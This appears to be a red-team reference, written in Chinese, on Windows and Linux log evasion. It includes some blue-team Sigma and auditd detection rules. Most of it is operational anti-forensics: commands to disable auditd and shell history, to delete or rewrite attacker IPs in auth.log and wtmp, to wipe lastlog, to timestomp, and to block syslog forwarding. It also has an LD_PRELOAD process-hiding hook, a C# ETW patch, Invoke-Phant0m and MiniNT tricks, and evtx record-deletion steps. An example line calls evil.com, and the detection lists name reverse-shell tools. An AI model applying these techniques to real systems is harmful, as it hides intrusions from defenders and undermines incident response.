Log Evasion

日志分析与日志逃逸

核心原则：最好的反日志策略是不产生日志，而非事后删除

⛔ 深入参考

• Windows Event Log 详细 ID 映射与清除 → references/windows-eventlog.md
• Linux audit/syslog 绕过技术 → references/linux-log-evasion.md

---

Part A: 蓝队视角 — 日志检测关键点

Windows 关键 Event ID

Linux 关键日志

SIEM 常见检测规则（需要绕过的）

Sigma 规则示例（蓝队部署）：
├─ 进程注入: Sysmon EventID 8 (CreateRemoteThread to lsass)
├─ 凭据 Dump: EventID 10 (OpenProcess to lsass)
├─ 横向移动: EventID 4648 + 4624 LogonType 3
├─ 持久化: EventID 7045 (新服务) / 4698 (新计划任务)
├─ 日志清除: EventID 1102 / 104 → 高优先级告警！
└─ PowerShell: EventID 4104 含 "IEX" / "Invoke-" / "-enc"

---

Part B: 红队视角 — 日志逃逸

策略 1: 阻止日志产生（最优）

Windows:
├─ 禁用 ETW Provider → 阻止 PowerShell/AMS 日志
│   patch ntdll!EtwEventWrite → ret
│   或 NtTraceEvent hook
├─ 关闭 ScriptBlock Logging
│   reg: HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging → 0
├─ 使用 .NET 避免 PowerShell 日志
│   C# 直接调用 .NET → 不走 PS 引擎 → 无 4104
├─ Thread detach from ETW
│   patch 当前线程的 ETW context → 不再产生事件
└─ Sysmon 绕过
    unload sysmon driver / patch 事件回调

Linux:
├─ 操作前: unset HISTFILE; export HISTSIZE=0; export HISTFILESIZE=0
├─ 或: set +o history
├─ 使用空格前缀命令（bash HISTCONTROL=ignorespace）
├─ kill -9 auditd（需 root，会产生停止日志）
└─ auditctl -e 0（关闭审计，更隐蔽）

策略 2: 绕过日志（不触发检测规则）

绕过 Sysmon:
├─ 进程注入: 避免 CreateRemoteThread → 用 APC/Callback/Early Bird
├─ LSASS 访问: 避免直接 OpenProcess → 用 Handle 复制/MiniDump
├─ 网络: 使用 raw socket → Sysmon EID 3 可能不捕获
└─ 文件: 使用已存在文件名/路径 → 不触发新文件规则

绕过 PowerShell 日志:
├─ 降级攻击: powershell -version 2（无 ScriptBlock 日志）
├─ 使用 C#/.NET: 直接反射调用 → 无 PS 日志
├─ AMSI bypass → 阻止脚本内容被记录
└─ 使用 WMI/COM → 不走 PowerShell 引擎

绕过 4688 进程创建:
├─ 进程名伪装: 复制合法程序名执行
├─ 使用 LOLBins: rundll32/mshta/certutil → 合法进程
├─ 父进程欺骗: 设置 PPID 为正常进程
└─ 命令行混淆: 环境变量展开、特殊字符

策略 3: 精准清除（已产生日志时的补救）

⛔ NEVER 清空整个日志 → EventID 1102 会立即告警！
⛔ ALWAYS 精准删除特定条目

Windows 精准清除:
├─ 方式 1: 停止 EventLog 服务 → 修改 .evtx 文件 → 重启服务
│   net stop eventlog（需 SYSTEM）
│   修改 evtx 二进制结构删除特定记录
│   net start eventlog
├─ 方式 2: Danderspritz eventlogedit（NSA 工具）
│   精准删除指定 EventID 的记录，修复文件校验
├─ 方式 3: Invoke-Phant0m
│   杀掉 EventLog 服务的所有线程 → 服务在但不写日志
└─ 方式 4: MiniNT 注册表键
    HKLM\SYSTEM\CurrentControlSet\Control\MiniNT → 阻止日志写入

Linux 精准清除:
├─ auth.log: sed -i '/特定IP/d' /var/log/auth.log
├─ wtmp: utmpdump /var/log/wtmp > tmp.txt
│         编辑删除特定行
│         utmpdump -r < tmp.txt > /var/log/wtmp
├─ lastlog: 工具修改特定用户的 lastlog 记录
├─ audit.log: aureport 确认记录 → sed 删除
└─ journal: journalctl --vacuum-time=1s（⛔ 会清全部）

策略 4: 实时日志转发对抗

现代企业会实时转发日志到 SIEM → 本地删除无效！

应对方案：
├─ 从一开始就不产生日志（策略 1）→ 最优
├─ 绕过 Sysmon/ETW（策略 2）→ 不产生特定事件
├─ 使用 SSH 隧道/DNS 隧道 → 网络日志中混入合法流量
├─ 操作时间选择 → 凌晨/节假日 → SOC 响应慢
└─ 理解 SIEM 规则阈值 → 低于告警阈值操作
    例：密码喷洒锁定阈值 5次 → 每用户只尝试 2 次

对照表

Linux 日志系统与逃逸技术

理解 Linux 日志架构才能有效规避；理解规避手段才能有效检测

---

一、Linux 日志架构

1.1 syslog/rsyslog/syslog-ng

传统 Linux 日志架构:
├─ syslog — 最早的日志标准（RFC 3164/5424）
├─ rsyslog — 增强版 syslog（大多数 RHEL/Debian 默认）
│   ├─ 配置: /etc/rsyslog.conf, /etc/rsyslog.d/
│   ├─ 支持 TCP/UDP 远程转发
│   ├─ 支持模板和过滤器
│   └─ 支持数据库输出（MySQL/PostgreSQL）
├─ syslog-ng — 另一个增强方案
│   ├─ 配置: /etc/syslog-ng/syslog-ng.conf
│   ├─ 更灵活的路由和过滤
│   └─ 支持 TLS 加密传输
└─ 日志级别: emerg > alert > crit > err > warning > notice > info > debug

facility 分类:
├─ auth/authpriv — 认证相关
├─ cron — 定时任务
├─ daemon — 系统守护进程
├─ kern — 内核
├─ user — 用户空间程序
├─ local0-local7 — 自定义
└─ syslog — syslog 系统自身

1.2 systemd-journald

systemd-journald — 现代 Linux 日志系统:
├─ 二进制格式（非文本）→ journalctl 查看
├─ 位置:
│   持久化: /var/log/journal/<machine-id>/
│   非持久化: /run/log/journal/（重启后消失）
├─ 默认行为:
│   如果 /var/log/journal/ 存在 → 持久化
│   如果不存在 → 仅存于 /run/（重启消失）
├─ 配置: /etc/systemd/journald.conf
│   Storage=persistent|volatile|auto|none
│   SystemMaxUse= — 最大磁盘使用量
│   MaxRetentionSec= — 最大保留时间
└─ 优势:
    ├─ 结构化日志（带元数据）
    ├─ 自动索引和压缩
    ├─ 可靠的二进制格式（防篡改难度更高）
    └─ 与 rsyslog 并行运行

1.3 auditd

auditd — Linux 内核审计框架:
├─ 内核空间审计 → 比用户空间日志更难绕过
├─ 配置: /etc/audit/auditd.conf
├─ 规则: /etc/audit/rules.d/ 或 auditctl
├─ 日志: /var/log/audit/audit.log
├─ 可审计:
│   ├─ 系统调用（execve, open, connect, etc.）
│   ├─ 文件访问（读/写/执行/属性变更）
│   ├─ 网络操作
│   ├─ 用户/组变更
│   └─ SELinux AVC 事件
└─ 关键: 内核级监控 → 用户态无法完全绕过

1.4 wtmp/utmp/btmp/lastlog

二进制登录记录:
├─ /var/run/utmp — 当前登录用户（实时）
│   命令: who, w, finger
├─ /var/log/wtmp — 历史登录/注销记录
│   命令: last
├─ /var/log/btmp — 失败登录记录
│   命令: lastb
└─ /var/log/lastlog — 每个用户最后登录时间
    命令: lastlog

数据结构 (struct utmp):
├─ ut_type — 记录类型（USER_PROCESS, LOGIN_PROCESS, etc.）
├─ ut_pid — 进程 ID
├─ ut_line — 终端（tty/pts）
├─ ut_user — 用户名
├─ ut_host — 远程主机名/IP
├─ ut_tv — 时间戳
└─ ut_addr_v6 — IPv6 地址

---

二、关键日志位置与格式

2.1 认证日志

/var/log/auth.log (Debian/Ubuntu) 或 /var/log/secure (RHEL/CentOS):

关键事件:
├─ SSH 登录成功: "Accepted publickey/password for USER from IP port PORT"
├─ SSH 登录失败: "Failed password for USER from IP port PORT"
├─ SSH 无效用户: "Invalid user USERNAME from IP"
├─ sudo 执行: "USER : TTY=pts/0 ; PWD=/home/user ; USER=root ; COMMAND=..."
├─ su 切换: "Successful su for root by USER"
├─ su 失败: "FAILED su for root by USER"
├─ PAM 错误: "pam_unix(sshd:auth): authentication failure"
├─ 密钥认证: "Accepted publickey for USER from IP"
└─ 会话事件: "session opened/closed for user USER"

2.2 系统日志

/var/log/syslog (Debian) 或 /var/log/messages (RHEL):

关键事件:
├─ 服务启停: "systemd: Started/Stopped SERVICE"
├─ 内核消息: "kernel: ..."
├─ 网络变化: "NetworkManager: ..."
├─ USB 设备: "kernel: usb 1-1: new device"
├─ 驱动加载: "kernel: Loading module MODULE"
└─ 系统错误: 各种守护进程的错误信息

2.3 审计日志

/var/log/audit/audit.log:

格式: type=TYPE msg=audit(TIMESTAMP:ID): key1=value1 key2=value2 ...

关键类型:
├─ SYSCALL — 系统调用审计
│   type=SYSCALL ... syscall=59 ... exe="/usr/bin/curl" ...
│   (syscall 59 = execve)
├─ EXECVE — 命令执行参数
│   type=EXECVE ... a0="curl" a1="http://evil.com/payload" ...
├─ PATH — 文件路径访问
├─ USER_AUTH — 用户认证
├─ USER_LOGIN — 用户登录
├─ USER_CMD — 用户命令（sudo）
├─ CRED_ACQ — 凭据获取
├─ ANOM_PROMISCUOUS — 网卡混杂模式（嗅探检测）
└─ CONFIG_CHANGE — 审计配置变更

2.4 应用日志

Apache:
├─ /var/log/apache2/access.log — 访问日志
│   格式: IP - - [TIMESTAMP] "METHOD PATH VERSION" STATUS SIZE
├─ /var/log/apache2/error.log — 错误日志
└─ 自定义日志路径在 VirtualHost 中配置

Nginx:
├─ /var/log/nginx/access.log
├─ /var/log/nginx/error.log
└─ 格式可在 nginx.conf 中自定义

MySQL:
├─ /var/log/mysql/error.log — 错误日志
├─ /var/log/mysql/mysql.log — 通用查询日志（通常关闭）
├─ /var/log/mysql/slow.log — 慢查询日志
└─ 二进制日志 (binlog) — 数据变更记录

Docker:
├─ /var/lib/docker/containers/<ID>/<ID>-json.log — 容器日志
└─ docker logs <container> 查看

---

三、检测规则（红队需了解）

3.1 auditd 规则

# 查看当前规则
auditctl -l

# 常见检测规则:
# 命令执行审计（所有 execve）
-a always,exit -F arch=b64 -S execve -k exec_log

# 敏感文件访问
-w /etc/passwd -p wa -k identity
-w /etc/shadow -p wa -k identity
-w /etc/sudoers -p wa -k sudoers_change
-w /etc/ssh/sshd_config -p wa -k sshd_config

# 网络连接
-a always,exit -F arch=b64 -S connect -k network_connect
-a always,exit -F arch=b64 -S bind -k network_bind

# 权限变更
-a always,exit -F arch=b64 -S chmod -S fchmod -k perm_change
-a always,exit -F arch=b64 -S chown -S fchown -k owner_change

# 模块加载（Rootkit 检测）
-w /sbin/insmod -p x -k modules
-w /sbin/rmmod -p x -k modules
-w /sbin/modprobe -p x -k modules

# 审计日志篡改检测
-w /var/log/audit/ -p wa -k audit_log_modify
-w /etc/audit/ -p wa -k audit_config_modify

3.2 SIGMA Rules for Linux

# 检测可疑命令执行
title: Suspicious Linux Command Execution
logsource:
    product: linux
    service: auditd
detection:
    selection:
        type: EXECVE
    keywords:
        - 'wget'
        - 'curl'
        - 'base64'
        - 'python -c'
        - 'perl -e'
        - '/dev/tcp/'
        - 'nc -e'
        - 'ncat -e'
        - 'bash -i'
        - 'pty.spawn'
    condition: selection and keywords
level: high

3.3 osquery 查询

-- 检测异常进程
SELECT name, path, cmdline, uid, parent
FROM processes
WHERE path NOT LIKE '/usr/%' AND path NOT LIKE '/bin/%'
  AND path NOT LIKE '/sbin/%';

-- 检测 SSH authorized_keys 变更
SELECT * FROM authorized_keys
WHERE key NOT IN (SELECT key FROM known_good_keys);

-- 检测 cron 持久化
SELECT * FROM crontab;

-- 检测异常网络连接
SELECT p.name, p.path, pa.remote_address, pa.remote_port
FROM process_open_sockets pa
JOIN processes p ON pa.pid = p.pid
WHERE pa.remote_port NOT IN (80, 443, 53, 22)
  AND pa.remote_address != '127.0.0.1';

-- 检测 history 文件被清除
SELECT * FROM file
WHERE path LIKE '/home/%/.bash_history'
  AND size = 0;

---

四、日志逃逸技术

4.1 实时日志删除 vs 选择性编辑

策略对比:
├─ 清空整个日志文件 ⛔
│   echo > /var/log/auth.log
│   → 极其可疑！文件大小突然归零
│   → SIEM 会检测到日志断流
│   → 管理员立即注意到
│
├─ 删除特定行（选择性编辑）✓
│   sed -i '/ATTACKER_IP/d' /var/log/auth.log
│   → 仅移除包含攻击者 IP 的行
│   → 其余日志保持正常
│   → 更隐蔽但仍可通过 SIEM 对比发现
│
├─ 修改而非删除 ✓✓
│   sed -i 's/ATTACKER_IP/LEGITIMATE_IP/g' /var/log/auth.log
│   → 将攻击者 IP 替换为合法 IP
│   → 日志行数不变，时间线完整
│   → 最难被发现
│
└─ 从一开始不产生日志 ✓✓✓
    → 最优策略（见下文）

4.2 utmpdump 编辑 wtmp/utmp

# wtmp/utmp 是二进制文件 → 不能直接 sed 编辑

# Step 1: 导出为文本
utmpdump /var/log/wtmp > wtmp.txt

# 文本格式:
# [7] [01234] [pts/0] [user] [192.168.1.100] [192.168.1.100] [2025-03-15T10:30:00,000000+00:00]

# Step 2: 编辑文本 → 删除或修改攻击者记录
# 删除包含攻击者 IP 的行
grep -v "ATTACKER_IP" wtmp.txt > wtmp_clean.txt

# 或修改 IP/用户名
sed -i 's/ATTACKER_IP/10.0.0.1/g' wtmp_clean.txt

# Step 3: 转回二进制
utmpdump -r < wtmp_clean.txt > /var/log/wtmp

# 同样处理 utmp
utmpdump /var/run/utmp > utmp.txt
# 编辑...
utmpdump -r < utmp.txt > /var/run/utmp

# lastlog 编辑:
# lastlog 是固定大小记录（每个 UID 一条）
# 需要计算偏移量直接用 dd 或 python 修改

python3 -c "
import struct, os
# lastlog 记录大小: 292 bytes (ll_time=4, ll_line=32, ll_host=256)
RECORD_SIZE = 292
uid = 1000  # 目标 UID
offset = uid * RECORD_SIZE
with open('/var/log/lastlog', 'r+b') as f:
    f.seek(offset)
    f.write(b'\x00' * RECORD_SIZE)  # 清除该用户的 lastlog 记录
"

4.3 禁用 auditd

# 方法 1: 关闭审计（需 root）
auditctl -e 0
# 效果: 停止所有审计事件记录
# ⛔ 注意: 这个操作本身会被记录为 CONFIG_CHANGE

# 方法 2: 删除所有规则
auditctl -D
# 移除所有审计规则但保持 auditd 运行
# 更隐蔽 — 服务仍在运行但不记录任何事件

# 方法 3: 停止 auditd 服务
systemctl stop auditd
# ⛔ 会产生 service stop 日志

# 方法 4: 临时禁用特定规则
auditctl -d always,exit -F arch=b64 -S execve -k exec_log
# 只删除特定规则 → 更精准

# 方法 5: 修改 auditd.conf 减少记录
# max_log_file = 1  → 日志文件最大 1MB
# num_logs = 1      → 只保留 1 个文件
# → 日志快速轮转覆盖

# 恢复（操作完成后）
auditctl -e 1
# 或恢复规则
auditctl -R /etc/audit/rules.d/audit.rules

4.4 Timestomping Log Entries

# 修改日志文件时间戳（掩盖编辑时间）
touch -r /var/log/syslog /var/log/auth.log
# 让 auth.log 的时间戳与 syslog 一致

# 修改日志内容中的时间戳（文本日志）
# syslog 格式: "Mar 15 10:30:00 hostname sshd[1234]: ..."
# 修改时间戳让恶意操作看起来发生在不同时间
sed -i 's/Mar 15 10:30:00/Mar 14 03:15:00/g' /var/log/auth.log

# systemd journal 时间戳在二进制结构中 → 不能简单 sed
# 需要专门工具或直接删除 journal 文件

4.5 利用 logrotate 机制

# 强制立即轮转
logrotate -f /etc/logrotate.d/rsyslog

# 修改保留策略（减少保留周期）
# /etc/logrotate.d/rsyslog:
# rotate 1          # 只保留 1 个归档
# daily             # 每天轮转
# compress          # 压缩归档
# delaycompress     # 延迟一次压缩

# 效果:
# ├─ 当前 auth.log → auth.log.1 → auth.log.2.gz → 删除
# ├─ rotate 1 → 只保留 auth.log.1
# └─ 攻击者的日志在下次轮转后被删除

4.6 远程 syslog 对抗

现代部署常将日志实时转发到远程 SIEM → 本地清除无效

对抗方法:
├─ 1. 阻断 syslog 转发
│   iptables -A OUTPUT -p tcp --dport 514 -j DROP   # TCP syslog
│   iptables -A OUTPUT -p udp --dport 514 -j DROP   # UDP syslog
│   iptables -A OUTPUT -p tcp --dport 6514 -j DROP  # TLS syslog
│   ⛔ SIEM 会检测到日志断流 → 告警
│
├─ 2. 修改 rsyslog 配置
│   注释掉远程转发行: # *.* @@remote-siem:514
│   systemctl restart rsyslog
│   ⛔ rsyslog 重启会被记录
│
├─ 3. 中间人（不推荐）
│   ARP 欺骗截获 syslog 流量 → 丢弃或修改
│   仅在 UDP syslog 场景可行
│
├─ 4. 最佳方案: 从一开始不产生日志
│   使用不触发日志的技术执行操作
│   → 内存执行、直接 syscall、避免 SSH 登录
│
└─ 5. 操作时间选择
    在日志量高峰期操作 → 隐藏在大量正常日志中
    SOC 分析师可能忽略高负载期间的异常

4.7 In-memory Execution 避免产生日志

# 关键原则: 不通过会产生日志的途径执行

# 避免 SSH 登录（auth.log 记录）
# → 使用 Web Shell / 已有 C2 channel

# 避免 sudo（auth.log 记录）
# → 使用已有 root session 或内核提权

# 避免 execve（auditd 记录）
# → 使用 LD_PRELOAD 或 /proc/self/mem 直接执行

# 避免文件操作（auditd inotify 记录）
# → 纯内存操作，不触碰文件系统

4.8 LD_PRELOAD Hooking

// 通过 LD_PRELOAD 隐藏进程/连接
// 编译: gcc -shared -fPIC -o hide.so hide.c -ldl

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dlfcn.h>
#include <dirent.h>

// Hook readdir 隐藏特定进程
struct dirent *readdir(DIR *dirp) {
    struct dirent *(*original_readdir)(DIR *) = dlsym(RTLD_NEXT, "readdir");
    struct dirent *entry;

    while ((entry = original_readdir(dirp)) != NULL) {
        // 隐藏名为 "malware" 的进程 PID 目录
        // 实际使用时通过 /proc/PID/cmdline 匹配
        if (strcmp(entry->d_name, "TARGET_PID") == 0)
            continue;
        return entry;
    }
    return NULL;
}

// 使用方法:
// export LD_PRELOAD=/path/to/hide.so
// ps aux  → 看不到隐藏的进程
// ls /proc/ → 看不到隐藏的 PID 目录

// ⛔ 注意:
// ├─ 只影响用户态工具（ps, ls, netstat）
// ├─ 不影响内核级审计（auditd, /proc 直接读取）
// ├─ 静态链接的工具不受影响
// └─ volatility 内存分析可以发现

---

五、对照表

---

参考链接

• auditd Documentation
• rsyslog Documentation
• systemd-journald
• SIGMA Rules - Linux

Windows Event Log 红蓝对抗完整参考

理解日志机制才能有效规避；理解规避手段才能有效检测

---

一、关键 Event ID 速查表

1.1 Security 日志

1.2 4624 登录类型详解

1.3 System 日志

1.4 Sysmon 日志 (Microsoft-Windows-Sysmon/Operational)

1.5 PowerShell 日志

⛔ 4104 ScriptBlock Logging 特别危险：
├─ 即使使用 -EncodedCommand，解码后的完整脚本内容会被记录
├─ Invoke-Mimikatz 等工具的完整代码会出现在日志中
├─ 甚至混淆后的脚本也会在反混淆后被记录（AMSI 集成）
└─ 这是蓝队最强大的 PowerShell 检测手段

---

二、SIEM 检测规则示例 (Sigma 格式)

2.1 检测 Credential Dumping (LSASS 访问)

title: LSASS Memory Access (Credential Dumping)
status: stable
logsource:
    product: windows
    service: sysmon
detection:
    selection:
        EventID: 10
        TargetImage|endswith: '\lsass.exe'
        GrantedAccess|contains:
            - '0x1010'    # PROCESS_VM_READ + PROCESS_QUERY_LIMITED_INFORMATION
            - '0x1410'    # + PROCESS_QUERY_INFORMATION
            - '0x1438'    # Full memory read access
            - '0x1fffff'  # PROCESS_ALL_ACCESS
    filter_known:
        SourceImage|endswith:
            - '\wmiprvse.exe'
            - '\taskmgr.exe'
            - '\MsMpEng.exe'        # Defender
            - '\csrss.exe'
    condition: selection and not filter_known
level: critical

2.2 检测 PsExec 横向移动

title: PsExec Service Installation
status: stable
logsource:
    product: windows
    service: system
detection:
    selection:
        EventID: 7045
        ServiceName|contains:
            - 'PSEXESVC'
            - 'psexec'
    condition: selection
level: high
---
# 更通用的检测: 远程服务安装
title: Suspicious Remote Service Installation
logsource:
    product: windows
    service: system
detection:
    selection:
        EventID: 7045
    filter_legitimate:
        ServiceName|contains:
            - 'Windows'
            - 'Microsoft'
            - 'vmtools'
    condition: selection and not filter_legitimate
level: medium

2.3 检测 Pass-the-Hash

title: Pass-the-Hash Detection
status: stable
logsource:
    product: windows
    service: security
detection:
    selection:
        EventID: 4624
        LogonType: 9              # NewCredentials
        LogonProcessName: 'seclogo'
        AuthenticationPackageName: 'Negotiate'
    condition: selection
level: high
---
# NTLM 认证异常
title: NTLM Authentication from Unusual Source
logsource:
    product: windows
    service: security
detection:
    selection:
        EventID: 4776
        Status: '0x0'             # 成功
    filter:
        PackageName: 'MICROSOFT_AUTHENTICATION_PACKAGE_V1_0'
    condition: selection
level: medium

2.4 检测日志清除

title: Security Event Log Cleared
status: stable
logsource:
    product: windows
    service: security
detection:
    selection:
        EventID: 1102
    condition: selection
level: critical
---
title: System Event Log Cleared
logsource:
    product: windows
    service: system
detection:
    selection:
        EventID: 104
    condition: selection
level: critical

2.5 检测 PowerShell 攻击工具

title: Malicious PowerShell Script Block
status: stable
logsource:
    product: windows
    service: powershell-script
detection:
    selection:
        EventID: 4104
    keywords:
        ScriptBlockText|contains:
            - 'Invoke-Mimikatz'
            - 'Invoke-Expression'
            - 'IEX'
            - 'Net.WebClient'
            - 'DownloadString'
            - 'DownloadFile'
            - 'Start-Process'
            - 'Invoke-Shellcode'
            - 'Invoke-DllInjection'
            - 'Get-GPPPassword'
            - 'Get-Keystrokes'
            - 'Get-TimedScreenshot'
            - '-bxor'
            - 'AmsiUtils'
            - 'amsiInitFailed'
            - 'Reflection.Assembly'
    condition: selection and keywords
level: high

2.6 检测 Kerberoasting

title: Kerberoasting Activity
status: stable
logsource:
    product: windows
    service: security
detection:
    selection:
        EventID: 4769
        TicketEncryptionType: '0x17'   # RC4-HMAC（弱加密，Kerberoast 特征）
        TicketOptions: '0x40810000'
    filter:
        ServiceName|endswith: '$'       # 排除机器账户
    condition: selection and not filter
level: high

---

三、ETW (Event Tracing for Windows) 架构

3.1 ETW 基本架构

ETW 架构三要素：
├─ Provider（事件源）→ 产生事件的组件
│   ├─ Microsoft-Windows-Security-Auditing
│   ├─ Microsoft-Windows-Sysmon
│   ├─ Microsoft-Windows-PowerShell
│   ├─ Microsoft-Antimalware-Scan-Interface (AMSI)
│   └─ 每个 Provider 有唯一 GUID
│
├─ Session（会话）→ 事件的传输通道
│   ├─ EventLog-Security → 安全日志
│   ├─ EventLog-System → 系统日志
│   ├─ Eventlog-Microsoft-Windows-Sysmon → Sysmon
│   └─ 自定义 Session → EDR 产品的监控通道
│
└─ Consumer（消费者）→ 接收并处理事件
    ├─ Event Log Service (svchost.exe -k netsvcs)
    ├─ EDR Agent
    ├─ SIEM Forwarder
    └─ 自定义消费者

3.2 ETW 关键命令

:: 列出所有活跃 ETW Session
logman query -ets

:: 列出所有已注册的 ETW Provider
logman query providers

:: 查看特定 Session 的详情
logman query "EventLog-Security" -ets

:: 查看 Provider 被哪些 Session 使用
logman query providers "Microsoft-Windows-Security-Auditing"

:: 列出 Sysmon 的 ETW Provider GUID
logman query providers | findstr -i sysmon

3.3 红队: ETW 致盲技术

方法 1: Patch ntdll!EtwEventWrite

原理：所有 ETW 事件最终通过 ntdll!EtwEventWrite 发送
Patch 该函数开头为 ret → 所有 ETW 事件静默失败

步骤：
1. 获取 ntdll!EtwEventWrite 地址
2. 修改内存保护为 RWX
3. 写入 0xC3 (ret) 到函数入口
4. 恢复内存保护

影响范围：当前进程的所有 ETW 事件不再产生
├─ PowerShell ScriptBlock Logging → 无效
├─ AMSI → 无效
├─ .NET ETW → 无效
└─ 注意：只影响当前进程，不影响其他进程

// C# 实现示例（分析用途）
// 获取 EtwEventWrite 地址
var ntdll = GetModuleHandle("ntdll.dll");
var etwAddr = GetProcAddress(ntdll, "EtwEventWrite");

// Patch: mov eax, 0; ret
byte[] patch = { 0x33, 0xC0, 0xC3 };  // xor eax,eax; ret
VirtualProtect(etwAddr, (UIntPtr)patch.Length, 0x40, out uint oldProtect);
Marshal.Copy(patch, 0, etwAddr, patch.Length);
VirtualProtect(etwAddr, (UIntPtr)patch.Length, oldProtect, out _);

方法 2: Patch 特定 ETW Provider

原理：每个 Provider 有 _TlgKeyword 和 IsEnabled 字段
将 Provider 的 ProviderMetadata 中的 IsEnabled 设为 0

优势：比 Patch EtwEventWrite 更精准，只禁用目标 Provider
└─ 例：只禁用 AMSI Provider，不影响其他监控

方法 3: 移除 ETW Session 的 Provider

:: 从 Session 中移除 Provider（需管理员）
logman update trace "EventLog-Security" -p "Microsoft-Windows-Security-Auditing" --ets -rt

:: ⛔ 注意：这会影响所有使用该 Session 的 Consumer
:: 且修改 ETW Session 本身可能被 EDR 监控

方法 4: 内核级 ETW 致盲

对于 Sysmon 等内核级 ETW Consumer：
├─ 方法 A: 卸载 Sysmon 驱动（fltMC unload SysmonDrv）→ 需 admin
├─ 方法 B: Patch 内核中的 ETW callback
│   修改 nt!EtwpEventCallback 数组 → 移除 Sysmon 回调
├─ 方法 C: 通过漏洞加载自签名驱动 → 直接修改内核
└─ 方法 D: Sysmon 配置文件操控
    修改 Sysmon 的 XML 配置 → 减少监控范围

---

四、停止/致盲 EventLog 服务

4.1 Invoke-Phant0m

原理：不直接停止 EventLog 服务（会产生 7034/7036），而是杀掉服务进程内的所有工作线程

流程：
1. 找到 EventLog 服务的宿主进程（svchost.exe -k netsvcs -p）
2. 枚举该进程的所有线程
3. 识别属于 EventLog 服务的线程（通过 DLL: wevtsvc.dll）
4. 终止这些线程: TerminateThread()

效果：
├─ EventLog 服务状态显示 "Running"（SCM 认为服务正常）
├─ 但实际工作线程已死 → 不再写入任何日志
├─ 不产生 EventID 7034/7036
└─ 重启服务或重启系统后恢复

# Invoke-Phant0m 核心逻辑（分析用途）
# Step 1: 获取 EventLog 服务 PID
$svcPid = (Get-WmiObject Win32_Service | Where-Object { $_.Name -eq 'EventLog' }).ProcessId

# Step 2: 枚举进程中的线程
# Step 3: 对每个线程检查是否属于 wevtsvc.dll
# Step 4: TerminateThread

# 检测方法（蓝队）：
# - 监控 Thread termination in svchost
# - 检查 EventLog 服务的线程数是否为 0
# - Sysmon EID 1 检测 Invoke-Phant0m 执行

4.2 MiniNT 注册表键

:: 原理：Windows 在安装模式（MiniNT/WinPE）下不记录事件日志
:: 创建 MiniNT 键 → 欺骗系统认为处于安装模式

reg add "HKLM\SYSTEM\CurrentControlSet\Control\MiniNT" /f

:: 效果：
:: - 重启后 EventLog 服务不再记录事件
:: - 服务仍然运行但不产生日志
:: - 需要删除该键并重启才能恢复

:: 清除
reg delete "HKLM\SYSTEM\CurrentControlSet\Control\MiniNT" /f

:: ⛔ 检测方法（蓝队）：
:: - 监控 HKLM\SYSTEM\CurrentControlSet\Control\MiniNT 的创建
:: - Sysmon EID 12/13: 注册表键创建/修改
:: - 定期检查该键是否存在

4.3 直接终止 EventLog 服务线程（API 方式）

使用 NtQueryInformationThread + NtTerminateThread：
1. OpenProcess(EventLog svchost PID)
2. 遍历系统线程列表（NtQuerySystemInformation）
3. 对每个线程: NtQueryInformationThread → 获取 TEB → 检查加载模块
4. 如果线程的起始地址在 wevtsvc.dll 范围内 → NtTerminateThread

API 调用链（避免 hook）：
├─ 使用直接 syscall（SysWhispers3）避免 EDR inline hook
├─ 或使用 indirect syscall 避免检测
└─ 不调用 TerminateThread（被 hook），直接 NtTerminateThread

4.4 停止 EventLog 的其他方式

:: 方式 1: 直接停止服务（会产生 Event 7036 — 不推荐）
net stop eventlog
sc stop eventlog

:: 方式 2: 禁用服务（重启后生效）
sc config eventlog start= disabled

:: 方式 3: 修改日志文件权限（拒绝 SYSTEM 写入）
:: 日志文件位置: C:\Windows\System32\winevt\Logs\
icacls C:\Windows\System32\winevt\Logs\Security.evtx /deny "SYSTEM:(W)"

:: 方式 4: 修改审计策略（减少记录范围）
auditpol /set /category:"Logon/Logoff" /success:disable /failure:disable
auditpol /set /category:"Object Access" /success:disable /failure:disable

:: 查看当前审计策略
auditpol /get /category:*

---

五、精准日志编辑

5.1 EVTX 文件结构

.evtx 文件结构：
├─ File Header (4096 bytes / 1 chunk)
│   ├─ Signature: "ElfFile\x00"
│   ├─ First/Last Chunk Number
│   ├─ Next Record ID
│   ├─ Header Size: 128 bytes
│   ├─ Checksum (CRC32 of first 120 bytes)
│   └─ Flags
│
├─ Chunk (65536 bytes each)
│   ├─ Chunk Header (512 bytes)
│   │   ├─ Signature: "ElfChnk\x00"
│   │   ├─ First/Last Event Record Number
│   │   ├─ First/Last Event Record ID
│   │   ├─ Event Records Checksum
│   │   ├─ String table (common strings cache)
│   │   └─ Template table (BinXML templates)
│   │
│   └─ Event Records (variable size)
│       ├─ Signature: 0x00002A2A ("**")
│       ├─ Record Size
│       ├─ Record Number
│       ├─ Timestamp (FILETIME)
│       └─ BinXML content (event data)
│
└─ 校验和机制：
    ├─ File Header CRC32
    ├─ Chunk Header CRC32
    └─ Event Records CRC32 (in Chunk Header)

5.2 精准删除工具

Danderspritz eventlogedit (NSA Equation Group)

ShadowBrokers 泄露的 NSA 工具，最精确的日志编辑方案：

功能：
├─ 按 Event ID / 时间范围 / 关键字 精准删除记录
├─ 自动修复 Chunk 内的 Record Number 连续性
├─ 重新计算所有校验和（File Header + Chunk Header + Records）
├─ 处理 String Table 和 Template Table 引用
└─ 删除后文件结构完全合法 → 标准工具无法检测

⛔ 检测方法：
├─ 对比日志和 SIEM 中的副本 → Record ID 不连续
├─ 对比 $UsnJrnl 中 .evtx 文件的修改时间
└─ 统计分析：特定时间段的事件密度异常下降

EvtxHussar / evtx-hunter

# EvtxHussar — 开源 EVTX 解析器，可用于分析文件结构
python3 evtxhussar.py -f Security.evtx

# evtx_edit — 社区工具，精准删除指定记录
# 流程：
# 1. 解析 evtx 文件 → 找到目标记录所在 Chunk
# 2. 从 Chunk 中移除目标记录
# 3. 调整后续 Record 的偏移
# 4. 重新计算 Chunk CRC32 和 Records CRC32
# 5. 更新 File Header 的计数器和 CRC32

手动编辑流程

精准删除单条记录的步骤：
1. 停止 EventLog 服务（或终止其线程）
   → 释放 .evtx 文件锁

2. 备份原始文件
   copy Security.evtx Security.evtx.bak

3. 解析文件找到目标记录
   → 按 Chunk 遍历 → 在 Chunk 内遍历 Records
   → 匹配 Record Number / Timestamp / EventID

4. 删除记录
   → 将目标 Record 之后的数据前移
   → 或用 0x00 覆盖目标 Record（简单但会留下空洞）

5. 修复校验和
   → 重新计算 Chunk Header 中的 Event Records CRC32
   → 重新计算 Chunk Header CRC32
   → 更新 File Header 中的 Next Record ID
